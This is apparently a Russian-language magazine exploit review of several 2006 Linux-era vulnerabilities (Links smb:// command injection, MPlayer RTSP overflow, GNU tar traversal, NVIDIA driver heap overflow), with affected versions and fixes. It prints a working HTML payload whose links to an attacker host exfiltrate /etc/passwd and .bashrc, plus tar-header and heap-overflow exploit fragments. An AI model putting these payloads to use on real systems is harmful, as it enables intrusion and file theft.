Обзор эксплойтов Крис Касперски Хакер, номер #098, стр. 060 Удаленное выполнение SMB-команд в Links'eBriefLinks - это шустрый текстовый браузер (широко известный в узких кругах), изначально реализованный на Linux'е, успешно портированный на кучу операционных систем всех мастей (xBSD, HPUX, OS/2, MacOSX, Win32) и породивший множество клонов. В силу своей чрезвычайной конструктивной простоты и отсутствия поддержки скриптов с прочими тяжеловесными элементами, долгое время (на пару с другим консольным браузером - Lynx) он по праву считался самым безопасным «судном» для web-серфинга. Я активно пользовался им сам и даже рекомендовал его другим. Но вот на стыке 2006 и 2007 годов усилиями хакера Teemu Salmela в нем обнаружилась огромная дыра, позволяющая атакующему исполнять любые SMB-команды на машине жертвы, просматривающей зараженную HTML-страничку с помощью Links'a (естественно, SMB-клиент должен быть установлен). Ошибка гнездится в функции smb_func(), расположенной в файле smb.c. Уязвимые строки приведены ниже: Ключевой фрагмент функции smb_func(), содержащий ошибку// 'dir' is the directory part of the smb: //.. url: 154 add_to_strn(&s, dir); 155 add_to_strn(&s, "\" -"); 156 while ((ss = strchr(s, '/'))) *ss = '\\'; 157 v[n++] = "-c"; 158 v[n++] = s; 159 } 160 } 161 v[n++] = NULL; // smbclient is executed: 162 execvp("smbclient", (char **)v); 163 fprintf(stderr, "smbclient not found in $PATH"); 164 _exit(1); TargetsУязвимость подтверждена в версиях Links 1.00pre12 и ELinks 0.11.1, но и остальные версии также уязвимы. ExploitИсходный HTML-код демонстрационного exploit'а, затирающего файл /etc/passwd и утягивающего .bashrc, приведен ниже. Исходный код простейшего exploit'a<html> <a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd etc; put passwd ; exit; '>Put /etc/passwd</a> <a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd home; lcd teemu; get HOHO .bashrc; exit; '>Get .bashrc</a> </html> SolutionСамое простое, что можно сделать, - отказаться от Links'а в пользу Lynx или же наложить заплатку, благо составители популярных дистрибутивов оперативно посуетились. Однако существует множество неофициальных билдов Links'а (и его собратьев), пользователям которых можно посоветовать закомментировать 162-ую строку и перекомпилировать код. Естественно, выполнение каких бы то ни было SMB-команд браузером после этого станет невозможным, ну да невелика потеря. Удаленное переполнение буфера в MPlayer'еMPlayer - легендарный и, в каком-то смысле, культовый аудио/видеоплеер (также включающий в себя и кодер), знаменитый, прежде всего, поддержкой огромного количества входных и выходных форматов файлов, кодеков, устройств ввода/вывода аудио- и видеоданных. Что самое главное, он поддерживает их правильно (в частности, только он один при кодировании видеофильмов следит за синхрометками, предотвращая тем самым возможную потерю синхронизации). Это открытый проект, распространяющийся в исходных текстах и портированный под весь зоопарк осей: Linux, xBSD, Solaris, IRIX, HP-UX, AIX, Win32, Mac OSX, включая такую экзотику, как QNX и Qmiga/MorphOS. Естественно, значительная часть кода MPlayer'а позаимствована разработчиками из сторонних открытых проектов, и потому MPlayer зависит от качества и надежности каждого их них, но качественный код - большая редкость, и дыры обнаруживаются то тут то там. В данном случае виновником торжества оказался модуль, обрабатывающий потоки RealMedia RTSP и расположенный в файлах stream/realrtsp/asmrp.c, stream/realrtsp/asmrp.h и stream/realrtsp/real.c, позаимствованных из библиотеки xine-lib. В ней 28 декабря 2006 года была обнаружена уязвимость, связанная с традиционным отсутствием границ контроля буфера и подробно описанная специалистами из Debian Security Advisory: www.debian.org/security/2006/dsa-1244. Разработчики MPlayer'а отреагировали на нее с небольшим опозданием, оповестив своих пользователей только 31 декабря 2006 года: www.mplayerhq.hu/design7/news.html. И хотя возможность выполнения произвольного кода поставлена под сомнение (то есть дальше банального DOS'а дело вряд ли пойдет), на потенциальном уровне угроза все-таки существует. TargetsУязвимость подтверждена в версиях MPlayer 1.0rc1 и SVN до r21799 (то есть до 31 декабря 13:27:53 2006 UTC), более древние версии, по-видимому, также содержат эту дыру, однако они не проверялись. ExploitОбразец exploit'а может быть найден по следующей ссылке: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6172. SolutionРазработчики MPlayer'а исправили код в CVS (древе разработки), однако еще не перекомпилировали выложенные двоичные файлы, предоставляя пользователям замечательную возможность заняться сексом с компилятором самостоятельно. Удаленный обход директорий в GNU tarBriefTeemu Salmela (уже упомянутый в этом обзоре и встречающий, как все остальные хакеры, Новый год за компьютером) исследовал утилиту GNU tar, ставшую стандартным архиватором для любого Linux/xBSD-дистрибутива, и обнаружил в ней дыру. Она похожа на ту, что была удалена из MS-DOS-версии pkzip'а много лет тому назад, представляя собой обход директорий (directory traversal) или, говоря другими словами, возможности создания архива, распаковывающегося не в текущем каталоге, а там, где ему нужно, и затирающего все файлы, на которые у него только есть права. Даже если распаковка производится из-под простого пользователя (не root'a), угроза очень серьезна, а во всем виноват специальный тип файлов, определенный в tar'е артибутом GNUTYPE_NAMES, которому соответствует символ «N» в tar-заголовке. Эти файлы могут распаковываться в любое место файловой системы и, хотя штатными средствами создать такой архив нельзя, это легко осуществить вручную, после чего остается только выложить его на общедоступный сервер или послать жертве вместе с утренним мылом. Подробнее – на www.securityfocus.com/bid/21235. TargetsУязвимость подтверждена в следующих версиях tar'а: 1.15.91, 1.16 и 1.15. Про остальные пока ничего неизвестно, но, скорее всего, они также уязвимы. ExploitИсходный текст вполне боевого exploit'а лежит в архиве neohapsis'а: http://archives.neohapsis.com/archives/fulldisclosure/2006-11/0344.html, ниже приводится его ключевой фрагмент, формирующий «бомбовый» tar-заголовок. Ключевой фрагмент tar-exploit'a#define GNUTYPE_NAMES 'N' memset(&b, 0, sizeof(b)); strcpy(b.header.name, "xyz"); strcpy(b.header.mode, "0000777"); strcpy(b.header.uid, "0000000"); strcpy(b.header.gid, "0000000"); sprintf(b.header.size, "%011o", strlen(d)); strcpy(b.header.mtime, "00000000000"); strcpy(b.header.chksum, " "); b.header.typeflag = GNUTYPE_NAMES; strcpy(b.header.magic, "ustar "); strcpy(b.header.uname, "root"); strcpy(b.header.gname, "root"); for (cksum = 0, i = 0; i < sizeof(b); i++) cksum += b.buffer[i] & 0xff; sprintf(b.header.chksum, "%06o ", cksum); fwrite(&b, 1, sizeof(b), stdout); SolutionИз всех составителей дистрибутивов пока один лишь коллектив FreeBSD выпустил специальный патч: http://security.freebsd.org/patches/SA-06:26/gtar.patch. Остальные же предпочли отделаться молчанием, недвусмысленно посылающим пользователей на официальную страничку GNU tar'a (www.gnu.org/software/tar) за свежей версией 1.16.1, из которой поддержка N-записей удалена, что делает распаковку таких архивов вообще невозможной (если, конечно, не прибегать к помощи tar 1.16 или более древних версий). Переполнение буфера в драйверах NVIDIA для LINUXBriefРаз уж этот обзор explot'ов оказался стихийно посвящен Linux-программам (причем безо всякого умысла с моей стороны, просто так получилось), будет уместно рассказать о дыре в «фирменных» драйверах от NVIDIA, выпущенных в виде двоичных файлов безо всяких исходных текстов. Увы! Закрытые продукты встречаются и в Linux, причем качество большинства из них весьма невелико, а доработка «напильником» чрезвычайно затруднена - оно и понятно: в машинном коде разбирается далеко не каждый линуксоид. А вот Windows-хакеры чувствуют себя как рыба в (мутной) воде - им к этому не привыкать. Дыра выражается в виде традиционной ошибки переполнения и при благоприятном (для хакера) стечении обстоятельств позволяет атакующему выполнять произвольный код на целевой системе с наивысшими уровнем привилегий, причем атака может быть осуществлена не только локально, но и удаленно - через remote X-клиента или X-клиента, зашедшего на web-сервер с «троянской» страничкой. Технические подробности можно найти на www.securityfocus.com/bid/20559/info. TargetsNVIDIA официально подтверждает уязвимость двух следующих версий Linux-драйверов: 1.0-8762 и 1.0-8774, утверждая, что более ранние версии (такие, например, как 1.0-8178 или 1.0-7184) не содержат этой дыры, а начиная с версии 1.0-8776, она уже исправлена: http://nvidia.custhelp.com/cgi-bin/nvidia.cfg/php/enduser/std_adp.php?p_faqid=1971. Но различные независимые эксперты подозревают, что и более древние версии уязвимы тоже (в первую очередь подозрение падает на версии драйверов под Solaris и FreeBSD), однако никто из них это не подтвердил proof-of-concept exploit'ом, поэтому вопрос остается открытым. Тем временем, компания Solaris клятвенно заверяет, что на платформу SPARC эта угроза не распространяется, но x86-64-версии драйверов все-таки уязвимы: http://sunsolve.sun.com/search/document.do?assetkey=1-26-102693-1&searchclause=. ExploitИсходный текст демонстрационного exploit'а с shell-кодом на борту лежит по адресу http://download2.rapid7.com/r7-0025/nv_exploit.c, а ниже приведен его ключевой фрагмент: Ключевой фрагмент exploit'а, атакующего уязвимые драйверы от NVIDIAXGlyphInfo * glyphs; XRenderPictFormat fmt; XRenderPictFormat *mask = 0; GlyphSet gset; char * buf =0; int offset, cr, numB; int xscreenpos = 32680; int magic_len= 2768-xscreenpos; int wr_addr_len = 3548; int wr_nop_len=200; offset = gotaddr-(heapaddr-0x2C0000); offset += magic_len; glyphs = malloc(sizeof(XGlyphInfo)*3); /* Payload glyph */ glyphs[0].width=0x4000; // one contiguous buf of 16K... way more than necessary glyphs[0].height = 1; glyphs[0].yOff = 0; glyphs[0].xOff = glyphs[0].width; glyphs[0].x = 0; glyphs[0].y = 0; xglyphids[0] = 'A'; xglyphids[1] = 'B'; xglyphids[2] = 'C'; int stride = ((glyphs[0].width*1)+3)&~3; /* Needs to be DWORD aligned */ int bufsize = stride*glyphs[0].height; buf = malloc(bufsize); /* Write the NOP instructions until wr_nop_len */ memset(buf+wr_addr_len, 0x90 /* NOP */, wr_nop_len); /* Calculate the number of B's required to send */ numB = offset / (glyphs[1].yOff * magic_len); /* Now create a new buffer for the string data */ string = malloc(numB+1/*numC*/+1/*numA*/+1/*NULL*/); for (cr=0; cr<numB; cr++) string[cr]='B';string[cr]='C';cr++; string[cr]='A'; cr++;string[cr]=0; mask = XRenderFindFormat(display, PictFormatType|PictFormatDepth, &fmt, 0); gset = XRenderCreateGlyphSet(display, mask); /* END FONT HEAP OVERFLOW SETUP CODE */ SolutionДля предотвращения внедрения достаточно отключить акселератор рендеринга через опцию RenderAccel в конфигурации X-сервера или же скачать (и установить) обновленные версии драйверов:
Full discloseИстория эта началась в далеком 2004 году (по понятиям компьютерной безопасности, это, практически, целая вечность), перед самым Новым годом, когда на форумах возник всплеск сообщений о странном поведении Linux-систем и внезапном крахе самых разнообразных иксовых приложений: FireFox, KDE и т.д. В частности, попытка выполнить следующий ниже код под Eclipse приводила к ошибке типа «Segmentation Fault» (https://bugs.eclipse.org/bugs/show_bug.cgi?id=87299): Код, вызывающий падение Eclipsefor (int y = 0; y < 20000; y++) { for (int x = 0; x < 10; x++ ) { System.out.print(x); } } Дальше - больше. Форумы оказались буквально затоплены сообщениями об ошибках, но виновника найти не удавалось. Подозрение пало на X-сервер. В нем действительно обнаружилось несколько критичных ошибок, но после их исправления дело лучше не стало. Ситуация оставалась мрачной и напряженной. Fritti - был первым, кому в июле 2006 года удалось воспроизвести ошибку, о чем он и отрапортовал на форуме www.nvnews.net/vbulletin/showthread.php?p=931048. Как оказалось, чтобы вызвать крах системы следовало выполнить следующие «ритуальные» действия:
К сообщению был приложен «NVIDIA bug report log file» со всей информацией о памяти, регистрах и т.д. (www.nvnews.net/vbulletin/attachment.php?attachmentid=19192&d=1152258443), благодаря чему копании NVIDIA уже через несколько часов удалось воспроизвести и подтвердить ошибку, которую она пообещала исправить в следующем релизе драйверов версии 1.0-9xxx. При этом всплыли некоторые технические подробности инцидента, скупо описанные компанией на фирменном сайте http://nvidia.custhelp.com/cgi-bin/nvidia.cfg/php/enduser/std_adp.php?p_faqid=197. Обновленные драйверы, действительно, вышли, но история на этом не закончилась, и дыры в них как были, так и остались, о чем в октябре 2006 года и сообщила компания Rapid7, LLC Security Advisory (www.rapid7.com), специализирующаяся, как и следует из ее названия, на информационной безопасности. В пресс-релизе, датированном 16 октября 2006 года (http://download2.rapid7.com/r7-0025), она не только сообщила массу технических подробностей, но и привела исходный код proof-of-concept exploit'а, демонстрирующий механизм локального и удаленного заброса shell-кода на атакуемый компьютер. Компания NVIDIA признала себя виновной по всем статьям, выпустив спустя 4 дня ответный пресс-релиз, который одни хакеры сочли неубедительным оправданием, другие - недостаточно искренним раскаянием: http://nvidia.custhelp.com/cgi-bin/nvidia.cfg/php/enduser/std_adp.php?p_faqid=1971. Главное то, что нам, наконец, стало известно, почему возникает переполнение. Если верить NVIDIA (а не верить ей у нас никаких поводов вроде бы нет), дела обстоят приблизительно так:
На самом деле, никакое это не все, а только начало детективного расследования. В действительности, существует 2 семейства NVIDIA-драйверов для Linux - с открытым и закрытым кодом. Закрытые драйверы отличаются тем, что поддерживают различные режимы акселерации (которые в отрытой версии напрочь отсутствуют), в том числе и рендеринг шрифтов (ну, в смысле глифов), реализованный в расширении XRender, экспортирующем функцию XRenderCompositeString8, которая в тесной координации с X-сервером выводит шрифты на экран. Именно поэтому дефект реализации XRender'а долгое время считали ошибкой X-сервера (как говорится, искали в черной комнате черную кошку, которой там нет). Итак, получив список глифов, которые требуется отрендерить, функция XRenderCompositeString8 через специальный callback обращается к драйверу, и, если этот лист превышает размер выделенного буфера, наступает закономерный крах. Более детальные исследования показывают, что закрытый драйвер регистрирует функцию _nv000373X, поручая ей расчет границ BoxRec-области, необходимой для вмещения всех данных, выводимых на экран. Выделение памяти осуществляется посредством функции Xalloc, а его размер определяется путем умножения ширины области рендеринга на ее высоту. Полученный буфер передается другой внутренней функции _nv000053X, которая последовательно проходит по всем глифам, копируя каждый в буфер, отталкиваясь от его положения на плоскости (xOff, yOff), а также от ширины (width) и высоты (height), посредством которых, она вычисляет следующую позицию в буфере. Однако проверка на выход за границы буфера, по обыкновению, не выполняется и происходит переполнение. Причем не простое, а очень даже специфичное переполнение! Манипулируя значениями xOff, yOff, width и height, на которые атакующий может воздействовать явным образом, он получает возможность записи произвольных данных/кода по произвольному адресу. Соль в том, что X-сервер получает список глифов от X-клиента, который может быть как локальным, так и удаленным. Идея удаленных X-клиентов возникла в те далекие времена, когда цветной монитор был огромной роскошью и даже зажиточные организации с трудом позволяли себе его иметь в количестве «одна штука», а рабочих станций, как правило, было намного больше одной. Вот и пришлось разрабатывать механизмы удаленного вывода графической информации на терминал. Сейчас же это рудимент, практически никем не используемый, но по целому ряду причин сохранившийся даже в современных версиях никсов. В роли удаленного X-клиента может выступать практически любая иксовая программа, взаимодействующая с сетью, например FireFox, которому скормили слишком длинную текстовую строку (вроде той, что была на страничке с числом «пи»). Причем совершенно не обязательно прописывать эту строку в HTML'е «прямым текстом». Сойдет Java или любой другой скриптовый язык. Так что угроза не мифический призрак, а вполне реальный и сильно злобный монстр, поражающий всех тех, кто не отключил акселерацию или не обновился. |